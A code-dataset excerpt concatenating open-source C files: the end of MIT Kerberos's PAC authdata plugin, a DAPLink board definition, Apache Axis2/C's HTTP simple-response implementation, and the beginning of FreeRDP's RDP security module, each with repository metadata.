KRB5_PAC_CLIENT_INFO, { KV5M_DATA, STRLENOF("urn:mspac:client-info"), "urn:mspac:client-info" } }, { KRB5_PAC_DELEGATION_INFO, { KV5M_DATA, STRLENOF("urn:mspac:delegation-info"), "urn:mspac:delegation-info" } }, { KRB5_PAC_UPN_DNS_INFO, { KV5M_DATA, STRLENOF("urn:mspac:upn-dns-info"), "urn:mspac:upn-dns-info" } }, }; #define MSPAC_ATTRIBUTE_COUNT (sizeof(mspac_attribute_types)/sizeof(mspac_attribute_types[0])) static krb5_error_code mspac_type2attr(krb5_ui_4 type, krb5_data *attr) { unsigned int i; for (i = 0; i < MSPAC_ATTRIBUTE_COUNT; i++) { if (mspac_attribute_types[i].type == type) { *attr = mspac_attribute_types[i].attribute; return 0; } } return ENOENT; } static krb5_error_code mspac_attr2type(const krb5_data *attr, krb5_ui_4 *type) { unsigned int i; for (i = 0; i < MSPAC_ATTRIBUTE_COUNT; i++) { if (attr->length == mspac_attribute_types[i].attribute.length && strncasecmp(attr->data, mspac_attribute_types[i].attribute.data, attr->length) == 0) { *type = mspac_attribute_types[i].type; return 0; } } if (attr->length > STRLENOF("urn:mspac:") && strncasecmp(attr->data, "urn:mspac:", STRLENOF("urn:mspac:")) == 0) { char *p = &attr->data[STRLENOF("urn:mspac:")]; char *endptr; *type = strtoul(p, &endptr, 10); if (*type != 0 && *endptr == '\0') return 0; } return ENOENT; } static krb5_error_code mspac_get_attribute_types(krb5_context kcontext, krb5_authdata_context context, void *plugin_context, void *request_context, krb5_data **out_attrs) { struct mspac_context *pacctx = (struct mspac_context *)request_context; unsigned int i, j; krb5_data *attrs; krb5_error_code code; if (pacctx->pac == NULL) return ENOENT; attrs = calloc(1 + pacctx->pac->pac->cBuffers + 1, sizeof(krb5_data)); if (attrs == NULL) return ENOMEM; j = 0; /* The entire PAC */ code = krb5int_copy_data_contents(kcontext, &mspac_attribute_types[0].attribute, &attrs[j++]); if (code != 0) { free(attrs); return code; } /* PAC buffers */ for (i = 0; i < pacctx->pac->pac->cBuffers; i++) { krb5_data attr; code = mspac_type2attr(pacctx->pac->pac->Buffers[i].ulType, &attr); if (code == 0) { code = krb5int_copy_data_contents(kcontext, &attr, &attrs[j++]); if (code != 0) { krb5int_free_data_list(kcontext, attrs); return code; } } else { int length; length = asprintf(&attrs[j].data, "urn:mspac:%d", pacctx->pac->pac->Buffers[i].ulType); if (length < 0) { krb5int_free_data_list(kcontext, attrs); return ENOMEM; } attrs[j++].length = length; } } attrs[j].data = NULL; attrs[j].length = 0; *out_attrs = attrs; return 0; } static krb5_error_code mspac_get_attribute(krb5_context kcontext, krb5_authdata_context context, void *plugin_context, void *request_context, const krb5_data *attribute, krb5_boolean *authenticated, krb5_boolean *complete, krb5_data *value, krb5_data *display_value, int *more) { struct mspac_context *pacctx = (struct mspac_context *)request_context; krb5_error_code code; krb5_ui_4 type; if (display_value != NULL) { display_value->data = NULL; display_value->length = 0; } if (*more != -1 || pacctx->pac == NULL) return ENOENT; /* If it didn't verify, pretend it didn't exist. */ if (!pacctx->pac->verified) { TRACE_MSPAC_DISCARD_UNVERF(kcontext); return ENOENT; } code = mspac_attr2type(attribute, &type); if (code != 0) return code; /* -1 is a magic type that refers to the entire PAC */ if (type == (krb5_ui_4)-1) { if (value != NULL) code = krb5int_copy_data_contents(kcontext, &pacctx->pac->data, value); else code = 0; } else { if (value != NULL) code = krb5_pac_get_buffer(kcontext, pacctx->pac, type, value); else code = k5_pac_locate_buffer(kcontext, pacctx->pac, type, NULL); } if (code == 0) { *authenticated = pacctx->pac->verified; *complete = TRUE; } *more = 0; return code; } static krb5_error_code mspac_set_attribute(krb5_context kcontext, krb5_authdata_context context, void *plugin_context, void *request_context, krb5_boolean complete, const krb5_data *attribute, const krb5_data *value) { struct mspac_context *pacctx = (struct mspac_context *)request_context; krb5_error_code code; krb5_ui_4 type; if (pacctx->pac == NULL) return ENOENT; code = mspac_attr2type(attribute, &type); if (code != 0) return code; /* -1 is a magic type that refers to the entire PAC */ if (type == (krb5_ui_4)-1) { krb5_pac newpac; code = krb5_pac_parse(kcontext, value->data, value->length, &newpac); if (code != 0) return code; krb5_pac_free(kcontext, pacctx->pac); pacctx->pac = newpac; } else { code = krb5_pac_add_buffer(kcontext, pacctx->pac, type, value); } return code; } static krb5_error_code mspac_export_internal(krb5_context kcontext, krb5_authdata_context context, void *plugin_context, void *request_context, krb5_boolean restrict_authenticated, void **ptr) { struct mspac_context *pacctx = (struct mspac_context *)request_context; krb5_error_code code; krb5_pac pac; *ptr = NULL; if (pacctx->pac == NULL) return ENOENT; if (restrict_authenticated && (pacctx->pac->verified) == FALSE) return ENOENT; code = krb5_pac_parse(kcontext, pacctx->pac->data.data, pacctx->pac->data.length, &pac); if (code == 0) { pac->verified = pacctx->pac->verified; *ptr = pac; } return code; } static void mspac_free_internal(krb5_context kcontext, krb5_authdata_context context, void *plugin_context, void *request_context, void *ptr) { if (ptr != NULL) krb5_pac_free(kcontext, (krb5_pac)ptr); return; } static krb5_error_code mspac_size(krb5_context kcontext, krb5_authdata_context context, void *plugin_context, void *request_context, size_t *sizep) { struct mspac_context *pacctx = (struct mspac_context *)request_context; *sizep += sizeof(krb5_int32); if (pacctx->pac != NULL) *sizep += pacctx->pac->data.length; *sizep += sizeof(krb5_int32); return 0; } static krb5_error_code mspac_externalize(krb5_context kcontext, krb5_authdata_context context, void *plugin_context, void *request_context, krb5_octet **buffer, size_t *lenremain) { krb5_error_code code = 0; struct mspac_context *pacctx = (struct mspac_context *)request_context; size_t required = 0; krb5_octet *bp; size_t remain; bp = *buffer; remain = *lenremain; if (pacctx->pac != NULL) { mspac_size(kcontext, context, plugin_context, request_context, &required); if (required <= remain) { krb5_ser_pack_int32((krb5_int32)pacctx->pac->data.length, &bp, &remain); krb5_ser_pack_bytes((krb5_octet *)pacctx->pac->data.data, (size_t)pacctx->pac->data.length, &bp, &remain); krb5_ser_pack_int32((krb5_int32)pacctx->pac->verified, &bp, &remain); } else { code = ENOMEM; } } else { krb5_ser_pack_int32(0, &bp, &remain); /* length */ krb5_ser_pack_int32(0, &bp, &remain); /* verified */ } *buffer = bp; *lenremain = remain; return code; } static krb5_error_code mspac_internalize(krb5_context kcontext, krb5_authdata_context context, void *plugin_context, void *request_context, krb5_octet **buffer, size_t *lenremain) { struct mspac_context *pacctx = (struct mspac_context *)request_context; krb5_error_code code; krb5_int32 ibuf; krb5_octet *bp; size_t remain; krb5_pac pac = NULL; bp = *buffer; remain = *lenremain; /* length */ code = krb5_ser_unpack_int32(&ibuf, &bp, &remain); if (code != 0) return code; if (ibuf != 0) { code = krb5_pac_parse(kcontext, bp, ibuf, &pac); if (code != 0) return code; bp += ibuf; remain -= ibuf; } /* verified */ code = krb5_ser_unpack_int32(&ibuf, &bp, &remain); if (code != 0) { krb5_pac_free(kcontext, pac); return code; } if (pac != NULL) { pac->verified = (ibuf != 0); } if (pacctx->pac != NULL) { krb5_pac_free(kcontext, pacctx->pac); } pacctx->pac = pac; *buffer = bp; *lenremain = remain; return 0; } static krb5_error_code mspac_copy(krb5_context kcontext, krb5_authdata_context context, void *plugin_context, void *request_context, void *dst_plugin_context, void *dst_request_context) { struct mspac_context *srcctx = (struct mspac_context *)request_context; struct mspac_context *dstctx = (struct mspac_context *)dst_request_context; krb5_error_code code = 0; assert(dstctx != NULL); assert(dstctx->pac == NULL); if (srcctx->pac != NULL) code = k5_pac_copy(kcontext, srcctx->pac, &dstctx->pac); return code; } static krb5_authdatatype mspac_ad_types[] = { KRB5_AUTHDATA_WIN2K_PAC, 0 }; krb5plugin_authdata_client_ftable_v0 k5_mspac_ad_client_ftable = { "mspac", mspac_ad_types, mspac_init, mspac_fini, mspac_flags, mspac_request_init, mspac_request_fini, mspac_get_attribute_types, mspac_get_attribute, mspac_set_attribute, NULL, /* delete_attribute_proc */ mspac_export_authdata, mspac_import_authdata, mspac_export_internal, mspac_free_internal, mspac_verify, mspac_size, mspac_externalize, mspac_internalize, mspac_copy };
gerritjvv/cryptoplayground
kerberos/kdc/src/krb5-1.16/src/lib/krb5/krb/pac.c
C
apache-2.0
34,236
/** * @file ff_lpc546xx.c * @brief board ID for the NXP LPC54608Xpresso board * * DAPLink Interface Firmware * Copyright (c) 2009-2019, ARM Limited, All Rights Reserved * SPDX-License-Identifier: Apache-2.0 * * Licensed under the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "target_family.h" #include "target_board.h" const board_info_t g_board_info = { .info_version = kBoardInfoVersion, .board_id = "8081", .family_id = kStub_HWReset_FamilyID, .daplink_url_name = "PRODINFOHTM", .daplink_drive_name = "FF-LPC546XX", .daplink_target_url = "https://os.mbed.com/platforms/L-TEK-FF-LPC546XX", .target_cfg = &target_device, };
google/DAPLink-port
source/board/ff_lpc546xx.c
C
apache-2.0
1,177
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <axis2_http_simple_response.h> #include <axis2_http_transport.h> #include <axutil_string.h> #include <stdio.h> #include <string.h> #include <axutil_types.h> #include <axiom_mime_part.h> #define AXIS2_HTTP_SIMPLE_RESPONSE_READ_SIZE 2048 struct axis2_http_simple_response { axis2_http_status_line_t *status_line; axutil_array_list_t *header_group; axutil_stream_t *stream; axutil_array_list_t *mime_parts; axis2_char_t *mtom_sending_callback_name; }; AXIS2_EXTERN axis2_http_simple_response_t *AXIS2_CALL axis2_http_simple_response_create( const axutil_env_t * env, axis2_http_status_line_t * status_line, const axis2_http_header_t ** http_headers, const axis2_ssize_t http_hdr_count, axutil_stream_t * content) { axis2_http_simple_response_t *ret = NULL; ret = axis2_http_simple_response_create_default(env); if(!ret) { AXIS2_LOG_ERROR(env->log, AXIS2_LOG_SI, "axis2 http simple response creation failed"); return NULL; } ret->status_line = status_line; if(http_hdr_count > 0 && http_headers) { int i = 0; ret->header_group = axutil_array_list_create(env, http_hdr_count); for(i = 0; i < (int)http_hdr_count; i++) /* We are sure that the difference lies within the int range */ { axutil_array_list_add(ret->header_group, env, (void *)http_headers[i]); } } ret->stream = content; return ret; } AXIS2_EXTERN axis2_http_simple_response_t *AXIS2_CALL axis2_http_simple_response_create_default( const axutil_env_t * env) { axis2_http_simple_response_t *simple_response = NULL; simple_response = (axis2_http_simple_response_t *)AXIS2_MALLOC(env->allocator, sizeof(axis2_http_simple_response_t)); if(!simple_response) { AXIS2_HANDLE_ERROR(env, AXIS2_ERROR_NO_MEMORY, AXIS2_FAILURE); return NULL; } memset((void *)simple_response, 0, sizeof(axis2_http_simple_response_t)); return simple_response; } void AXIS2_CALL axis2_http_simple_response_free( axis2_http_simple_response_t * simple_response, const axutil_env_t * env) { if(simple_response->status_line) { axis2_http_status_line_free(simple_response->status_line, env); } if(simple_response->header_group) { int i = 0; for(i = 0; i < axutil_array_list_size(simple_response->header_group, env); i++) { void *tmp = NULL; tmp = axutil_array_list_get(simple_response-> header_group, env, i); if(tmp) { axis2_http_header_free((axis2_http_header_t *)tmp, env); } } axutil_array_list_free(simple_response->header_group, env); } if(simple_response->mime_parts) { int i = 0; for(i = 0; i < axutil_array_list_size(simple_response->mime_parts, env); i++) { void *mime_part = NULL; mime_part = axutil_array_list_get(simple_response->mime_parts, env, i); if(mime_part) { axiom_mime_part_free((axiom_mime_part_t *)mime_part, env); } } axutil_array_list_free(simple_response->mime_parts, env); } /* Stream is not freed. Assumption : stream doesn't belong to the response */ AXIS2_FREE(env->allocator, simple_response); } axis2_status_t AXIS2_CALL axis2_http_simple_response_set_status_line( struct axis2_http_simple_response * simple_response, const axutil_env_t * env, const axis2_char_t * http_ver, const int status_code, const axis2_char_t * phrase) { if(!http_ver || !phrase || !status_code) { AXIS2_LOG_ERROR(env->log, AXIS2_LOG_SI, "invalid parameter given"); return AXIS2_FAILURE; } if(simple_response->status_line) { axis2_http_status_line_free(simple_response->status_line, env); } simple_response->status_line = axis2_http_status_line_create_with_values( env, http_ver, status_code, phrase); if(!simple_response->status_line) { AXIS2_LOG_ERROR(env->log, AXIS2_LOG_SI, "http status line creation failed for string %s %3d %s", http_ver, status_code, phrase); return AXIS2_FAILURE; } return AXIS2_SUCCESS; } axis2_char_t *AXIS2_CALL axis2_http_simple_response_get_phrase( axis2_http_simple_response_t * simple_response, const axutil_env_t * env) { if(!(simple_response->status_line)) { AXIS2_LOG_ERROR(env->log, AXIS2_LOG_SI, "axis2 simple response , status line is not available"); return NULL; } return axis2_http_status_line_get_reason_phrase(simple_response-> status_line, env); } int AXIS2_CALL axis2_http_simple_response_get_status_code( axis2_http_simple_response_t * simple_response, const axutil_env_t * env) { if(!(simple_response->status_line)) { AXIS2_LOG_ERROR(env->log, AXIS2_LOG_SI, "axis2 simple response , status line is not available"); return -1; } return axis2_http_status_line_get_status_code(simple_response->status_line, env); } axis2_char_t *AXIS2_CALL axis2_http_simple_response_get_http_version( axis2_http_simple_response_t * simple_response, const axutil_env_t * env) { if(!(simple_response->status_line)) { AXIS2_LOG_ERROR(env->log, AXIS2_LOG_SI, "axis2 simple response , status line is not available"); return NULL; } return axis2_http_status_line_get_http_version(simple_response->status_line, env); } axis2_status_t AXIS2_CALL axis2_http_simple_response_set_http_version( axis2_http_simple_response_t * simple_response, const axutil_env_t * env, axis2_char_t *http_version) { if(!(simple_response->status_line)) { AXIS2_LOG_ERROR(env->log, AXIS2_LOG_SI, "axis2 simple response , status line is not available"); return AXIS2_FAILURE; } axis2_http_status_line_set_http_version(simple_response->status_line, env, http_version); return AXIS2_SUCCESS; } axis2_char_t *AXIS2_CALL axis2_http_simple_response_get_status_line( axis2_http_simple_response_t * simple_response, const axutil_env_t * env) { if(!(simple_response->status_line)) { AXIS2_LOG_ERROR(env->log, AXIS2_LOG_SI, "axis2 simple response , status line is not available"); return NULL; } return axis2_http_status_line_to_string(simple_response->status_line, env); } AXIS2_EXTERN axutil_array_list_t *AXIS2_CALL axis2_http_simple_response_get_headers( axis2_http_simple_response_t * simple_response, const axutil_env_t * env) { return simple_response->header_group; } axutil_array_list_t *AXIS2_CALL axis2_http_simple_response_extract_headers( axis2_http_simple_response_t * simple_response, const axutil_env_t * env) { axutil_array_list_t *temp = NULL; temp = simple_response->header_group; if(temp) { simple_response->header_group = NULL; } return temp; } axis2_http_header_t *AXIS2_CALL axis2_http_simple_response_get_first_header( axis2_http_simple_response_t * simple_response, const axutil_env_t * env, const axis2_char_t * str) { axis2_http_header_t *tmp_header = NULL; axis2_char_t *tmp_name = NULL; int i = 0; int count = 0; axutil_array_list_t *header_group = NULL; AXIS2_PARAM_CHECK(env->error, str, NULL); header_group = simple_response->header_group; if(!simple_response->header_group) { AXIS2_LOG_ERROR(env->log, AXIS2_LOG_SI, "axis2 simple response , headers not available"); return NULL; } if(0 == axutil_array_list_size(header_group, env)) { AXIS2_LOG_WARNING(env->log, AXIS2_LOG_SI, "axis2 simple response , contains zero headers"); return NULL; } count = axutil_array_list_size(header_group, env); for(i = 0; i < count; i++) { tmp_header = (axis2_http_header_t *)axutil_array_list_get(header_group, env, i); tmp_name = axis2_http_header_get_name(tmp_header, env); if(0 == axutil_strcasecmp(str, tmp_name)) { return tmp_header; } } return NULL; } axis2_status_t AXIS2_CALL axis2_http_simple_response_remove_headers( axis2_http_simple_response_t * simple_response, const axutil_env_t * env, const axis2_char_t * str) { axutil_array_list_t *header_group = NULL; int i = 0; int count = 0; AXIS2_PARAM_CHECK(env->error, str, AXIS2_FAILURE); header_group = simple_response->header_group; if(!header_group) { /* Even though we couldn't complete the op, we are sure that the * required header is no more in the request. So we can proceed without a * problem. */ return AXIS2_SUCCESS; } count = axutil_array_list_size(header_group, env); for(i = 0; i < count; i++) { axis2_http_header_t *tmp_header = NULL; axis2_char_t *tmp_name = NULL; tmp_header = (axis2_http_header_t *)axutil_array_list_get(header_group, env, i); tmp_name = axis2_http_header_get_name(tmp_header, env); if(0 == axutil_strcasecmp(str, tmp_name)) { axis2_http_header_free(tmp_header, env); axutil_array_list_remove(header_group, env, i); break; } } return AXIS2_SUCCESS; } axis2_status_t AXIS2_CALL axis2_http_simple_response_set_header( axis2_http_simple_response_t * simple_response, const axutil_env_t * env, axis2_http_header_t * header) { int i = 0; int count = 0; axutil_array_list_t *header_group = NULL; AXIS2_PARAM_CHECK(env->error, header, AXIS2_FAILURE); if(!simple_response->header_group) { simple_response->header_group = axutil_array_list_create(env, 10); axutil_array_list_add(simple_response->header_group, env, header); return AXIS2_SUCCESS; } /* If a header with the same name exists search and remove the old header */ header_group = simple_response->header_group; count = axutil_array_list_size(header_group, env); for(i = 0; i < count; i++) { axis2_http_header_t *tmp_header = NULL; axis2_char_t *tmp_name = NULL; tmp_header = (axis2_http_header_t *)axutil_array_list_get(header_group, env, i); tmp_name = axis2_http_header_get_name(tmp_header, env); if(0 == axutil_strcasecmp(axis2_http_header_get_name(header, env), tmp_name)) { axis2_http_header_free(tmp_header, env); axutil_array_list_set(header_group, env, i, header); return AXIS2_SUCCESS; } } /* if header is not found, then we have to add it */ axutil_array_list_add(header_group, env, header); return AXIS2_SUCCESS; } const axis2_char_t *AXIS2_CALL axis2_http_simple_response_get_charset( axis2_http_simple_response_t * simple_response, const axutil_env_t * env) { axis2_http_header_t *tmp_header = NULL; tmp_header = axis2_http_simple_response_get_first_header(simple_response, env, AXIS2_HTTP_HEADER_CONTENT_TYPE); if(tmp_header) { axis2_char_t *value = axis2_http_header_get_value(tmp_header, env); axis2_char_t *charset = (axis2_char_t *)strstr((char *)value, (char *)AXIS2_HTTP_CHAR_SET_ENCODING); if(charset) { charset = strchr((char *)charset, AXIS2_EQ); return charset; } } return AXIS2_HTTP_DEFAULT_CONTENT_CHARSET; } axis2_ssize_t AXIS2_CALL axis2_http_simple_response_get_content_length( axis2_http_simple_response_t * simple_response, const axutil_env_t * env) { axis2_http_header_t *tmp_header = NULL; int error_return = -1; tmp_header = axis2_http_simple_response_get_first_header(simple_response, env, AXIS2_HTTP_HEADER_CONTENT_LENGTH); if(tmp_header) { return AXIS2_ATOI(axis2_http_header_get_value(tmp_header, env)); } return error_return; } const axis2_char_t *AXIS2_CALL axis2_http_simple_response_get_content_type( axis2_http_simple_response_t * simple_response, const axutil_env_t * env) { axis2_http_header_t *tmp_header = NULL; tmp_header = axis2_http_simple_response_get_first_header(simple_response, env, AXIS2_HTTP_HEADER_CONTENT_TYPE); if(tmp_header) { return axis2_http_header_get_value(tmp_header, env); } return AXIS2_HTTP_HEADER_ACCEPT_TEXT_PLAIN; } axis2_status_t AXIS2_CALL axis2_http_simple_response_set_body_string( axis2_http_simple_response_t * simple_response, const axutil_env_t * env, axis2_char_t * str) { axutil_stream_t *body_stream = NULL; AXIS2_PARAM_CHECK(env->error, str, AXIS2_FAILURE); body_stream = simple_response->stream; if(!body_stream) { body_stream = axutil_stream_create_basic(env); if(!body_stream) { AXIS2_LOG_ERROR(env->log, AXIS2_LOG_SI, "unable to create basic stream for string %s", str); return AXIS2_FAILURE; } simple_response->stream = body_stream; } axutil_stream_write(body_stream, env, str, axutil_strlen(str)); return AXIS2_SUCCESS; } axis2_status_t AXIS2_CALL axis2_http_simple_response_set_body_stream( axis2_http_simple_response_t * simple_response, const axutil_env_t * env, axutil_stream_t * stream) { /* * We don't free the stream * Problem in freeing is most of the time the stream doesn't belong * to the http_simple_response */ simple_response->stream = stream; return AXIS2_SUCCESS; } axutil_stream_t *AXIS2_CALL axis2_http_simple_response_get_body( axis2_http_simple_response_t * simple_response, const axutil_env_t * env) { return simple_response->stream; } axis2_ssize_t AXIS2_CALL axis2_http_simple_response_get_body_bytes( axis2_http_simple_response_t * simple_response, const axutil_env_t * env, axis2_char_t ** buffer) { axutil_stream_t *tmp_stream = NULL; axis2_bool_t loop_state = AXIS2_TRUE; int return_size = -1; if(!simple_response->stream) { AXIS2_HANDLE_ERROR(env, AXIS2_ERROR_NULL_BODY, AXIS2_FAILURE); return return_size; } tmp_stream = axutil_stream_create_basic(env); while(loop_state) { int read = 0; /*int write = 0;*/ char buf[AXIS2_HTTP_SIMPLE_RESPONSE_READ_SIZE]; read = axutil_stream_read(simple_response->stream, env, buf, AXIS2_HTTP_SIMPLE_RESPONSE_READ_SIZE); if(read < 0) { break; } /*write = */axutil_stream_write(tmp_stream, env, buf, read); if(read < (AXIS2_HTTP_SIMPLE_RESPONSE_READ_SIZE - 1)) { break; } } return_size = axutil_stream_get_len(tmp_stream, env); if(return_size > 0) { *buffer = (char *)AXIS2_MALLOC(env->allocator, sizeof(char) * (return_size + 1)); if(!buffer) { AXIS2_HANDLE_ERROR(env, AXIS2_ERROR_NO_MEMORY, AXIS2_FAILURE); return -1; } return_size = axutil_stream_read(tmp_stream, env, *buffer, return_size + 1); } axutil_stream_free(tmp_stream, env); return return_size; } axis2_bool_t AXIS2_CALL axis2_http_simple_response_contains_header( axis2_http_simple_response_t * simple_response, const axutil_env_t * env, const axis2_char_t * name) { axis2_char_t *header_name = NULL; int count = 0; int i = 0; AXIS2_PARAM_CHECK(env->error, name, AXIS2_FAILURE); if(!simple_response->header_group) { AXIS2_LOG_ERROR(env->log, AXIS2_LOG_SI, "axis2 simple response , headers not available"); return AXIS2_FALSE; } count = axutil_array_list_size(simple_response->header_group, env); if(0 == count) { AXIS2_LOG_WARNING(env->log, AXIS2_LOG_SI, "axis2 simple response , contains zero headers"); return AXIS2_FALSE; } for(i = 0; i < count; i++) { axis2_http_header_t *header = (axis2_http_header_t *)axutil_array_list_get( simple_response->header_group, env, i); header_name = axis2_http_header_get_name(header, env); if(0 == axutil_strcasecmp(name, header_name)) { return AXIS2_TRUE; } } return AXIS2_FALSE; } AXIS2_EXTERN axutil_array_list_t *AXIS2_CALL axis2_http_simple_response_get_mime_parts( axis2_http_simple_response_t * simple_response, const axutil_env_t * env) { return simple_response->mime_parts; } void AXIS2_EXTERN AXIS2_CALL axis2_http_simple_response_set_mime_parts( axis2_http_simple_response_t * simple_response, const axutil_env_t * env, axutil_array_list_t *mime_parts) { simple_response->mime_parts = mime_parts; } AXIS2_EXTERN axis2_char_t *AXIS2_CALL axis2_http_simple_response_get_mtom_sending_callback_name( axis2_http_simple_response_t * simple_response, const axutil_env_t * env) { return simple_response->mtom_sending_callback_name; } void AXIS2_EXTERN AXIS2_CALL axis2_http_simple_response_set_mtom_sending_callback_name( axis2_http_simple_response_t * simple_response, const axutil_env_t * env, axis2_char_t *mtom_sending_callback_name) { simple_response->mtom_sending_callback_name = mtom_sending_callback_name; }
axbannaz/axis2-c
src/core/transport/http/common/http_simple_response.c
C
apache-2.0
18,252
/** * FreeRDP: A Remote Desktop Protocol Client * RDP Security * * Copyright 2011 Marc-Andre Moreau <marcandre.moreau@gmail.com> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "security.h" /* 0x36 repeated 40 times */ static const uint8 pad1[40] = { "\x36\x36\x36\x36\x36\x36\x36\x36" "\x36\x36\x36\x36\x36\x36\x36\x36" "\x36\x36\x36\x36\x36\x36\x36\x36" "\x36\x36\x36\x36\x36\x36\x36\x36" "\x36\x36\x36\x36\x36\x36\x36\x36" }; /* 0x5C repeated 48 times */ static const uint8 pad2[48] = { "\x5C\x5C\x5C\x5C\x5C\x5C\x5C\x5C" "\x5C\x5C\x5C\x5C\x5C\x5C\x5C\x5C" "\x5C\x5C\x5C\x5C\x5C\x5C\x5C\x5C" "\x5C\x5C\x5C\x5C\x5C\x5C\x5C\x5C" "\x5C\x5C\x5C\x5C\x5C\x5C\x5C\x5C" "\x5C\x5C\x5C\x5C\x5C\x5C\x5C\x5C" }; static const uint8 fips_reverse_table[256] = { 0x00, 0x80, 0x40, 0xc0, 0x20, 0xa0, 0x60, 0xe0, 0x10, 0x90, 0x50, 0xd0, 0x30, 0xb0, 0x70, 0xf0, 0x08, 0x88, 0x48, 0xc8, 0x28, 0xa8, 0x68, 0xe8, 0x18, 0x98, 0x58, 0xd8, 0x38, 0xb8, 0x78, 0xf8, 0x04, 0x84, 0x44, 0xc4, 0x24, 0xa4, 0x64, 0xe4, 0x14, 0x94, 0x54, 0xd4, 0x34, 0xb4, 0x74, 0xf4, 0x0c, 0x8c, 0x4c, 0xcc, 0x2c, 0xac, 0x6c, 0xec, 0x1c, 0x9c, 0x5c, 0xdc, 0x3c, 0xbc, 0x7c, 0xfc, 0x02, 0x82, 0x42, 0xc2, 0x22, 0xa2, 0x62, 0xe2, 0x12, 0x92, 0x52, 0xd2, 0x32, 0xb2, 0x72, 0xf2, 0x0a, 0x8a, 0x4a, 0xca, 0x2a, 0xaa, 0x6a, 0xea, 0x1a, 0x9a, 0x5a, 0xda, 0x3a, 0xba, 0x7a, 0xfa, 0x06, 0x86, 0x46, 0xc6, 0x26, 0xa6, 0x66, 0xe6, 0x16, 0x96, 0x56, 0xd6, 0x36, 0xb6, 0x76, 0xf6, 0x0e, 0x8e, 0x4e, 0xce, 0x2e, 0xae, 0x6e, 0xee, 0x1e, 0x9e, 0x5e, 0xde, 0x3e, 0xbe, 0x7e, 0xfe, 0x01, 0x81, 0x41, 0xc1, 0x21, 0xa1, 0x61, 0xe1, 0x11, 0x91, 0x51, 0xd1, 0x31, 0xb1, 0x71, 0xf1, 0x09, 0x89, 0x49, 0xc9, 0x29, 0xa9, 0x69, 0xe9, 0x19, 0x99, 0x59, 0xd9, 0x39, 0xb9, 0x79, 0xf9, 0x05, 0x85, 0x45, 0xc5, 0x25, 0xa5, 0x65, 0xe5, 0x15, 0x95, 0x55, 0xd5, 0x35, 0xb5, 0x75, 0xf5, 0x0d, 0x8d, 0x4d, 0xcd, 0x2d, 0xad, 0x6d, 0xed, 0x1d, 0x9d, 0x5d, 0xdd, 0x3d, 0xbd, 0x7d, 0xfd, 0x03, 0x83, 0x43, 0xc3, 0x23, 0xa3, 0x63, 0xe3, 0x13, 0x93, 0x53, 0xd3, 0x33, 0xb3, 0x73, 0xf3, 0x0b, 0x8b, 0x4b, 0xcb, 0x2b, 0xab, 0x6b, 0xeb, 0x1b, 0x9b, 0x5b, 0xdb, 0x3b, 0xbb, 0x7b, 0xfb, 0x07, 0x87, 0x47, 0xc7, 0x27, 0xa7, 0x67, 0xe7, 0x17, 0x97, 0x57, 0xd7, 0x37, 0xb7, 0x77, 0xf7, 0x0f, 0x8f, 0x4f, 0xcf, 0x2f, 0xaf, 0x6f, 0xef, 0x1f, 0x9f, 0x5f, 0xdf, 0x3f, 0xbf, 0x7f, 0xff }; static const uint8 fips_oddparity_table[256] = { 0x01, 0x01, 0x02, 0x02, 0x04, 0x04, 0x07, 0x07, 0x08, 0x08, 0x0b, 0x0b, 0x0d, 0x0d, 0x0e, 0x0e, 0x10, 0x10, 0x13, 0x13, 0x15, 0x15, 0x16, 0x16, 0x19, 0x19, 0x1a, 0x1a, 0x1c, 0x1c, 0x1f, 0x1f, 0x20, 0x20, 0x23, 0x23, 0x25, 0x25, 0x26, 0x26, 0x29, 0x29, 0x2a, 0x2a, 0x2c, 0x2c, 0x2f, 0x2f, 0x31, 0x31, 0x32, 0x32, 0x34, 0x34, 0x37, 0x37, 0x38, 0x38, 0x3b, 0x3b, 0x3d, 0x3d, 0x3e, 0x3e, 0x40, 0x40, 0x43, 0x43, 0x45, 0x45, 0x46, 0x46, 0x49, 0x49, 0x4a, 0x4a, 0x4c, 0x4c, 0x4f, 0x4f, 0x51, 0x51, 0x52, 0x52, 0x54, 0x54, 0x57, 0x57, 0x58, 0x58, 0x5b, 0x5b, 0x5d, 0x5d, 0x5e, 0x5e, 0x61, 0x61, 0x62, 0x62, 0x64, 0x64, 0x67, 0x67, 0x68, 0x68, 0x6b, 0x6b, 0x6d, 0x6d, 0x6e, 0x6e, 0x70, 0x70, 0x73, 0x73, 0x75, 0x75, 0x76, 0x76, 0x79, 0x79, 0x7a, 0x7a, 0x7c, 0x7c, 0x7f, 0x7f, 0x80, 0x80, 0x83, 0x83, 0x85, 0x85, 0x86, 0x86, 0x89, 0x89, 0x8a, 0x8a, 0x8c, 0x8c, 0x8f, 0x8f, 0x91, 0x91, 0x92, 0x92, 0x94, 0x94, 0x97, 0x97, 0x98, 0x98, 0x9b, 0x9b, 0x9d, 0x9d, 0x9e, 0x9e, 0xa1, 0xa1, 0xa2, 0xa2, 0xa4, 0xa4, 0xa7, 0xa7, 0xa8, 0xa8, 0xab, 0xab, 0xad, 0xad, 0xae, 0xae, 0xb0, 0xb0, 0xb3, 0xb3, 0xb5, 0xb5, 0xb6, 0xb6, 0xb9, 0xb9, 0xba, 0xba, 0xbc, 0xbc, 0xbf, 0xbf, 0xc1, 0xc1, 0xc2, 0xc2, 0xc4, 0xc4, 0xc7, 0xc7, 0xc8, 0xc8, 0xcb, 0xcb, 0xcd, 0xcd, 0xce, 0xce, 0xd0, 0xd0, 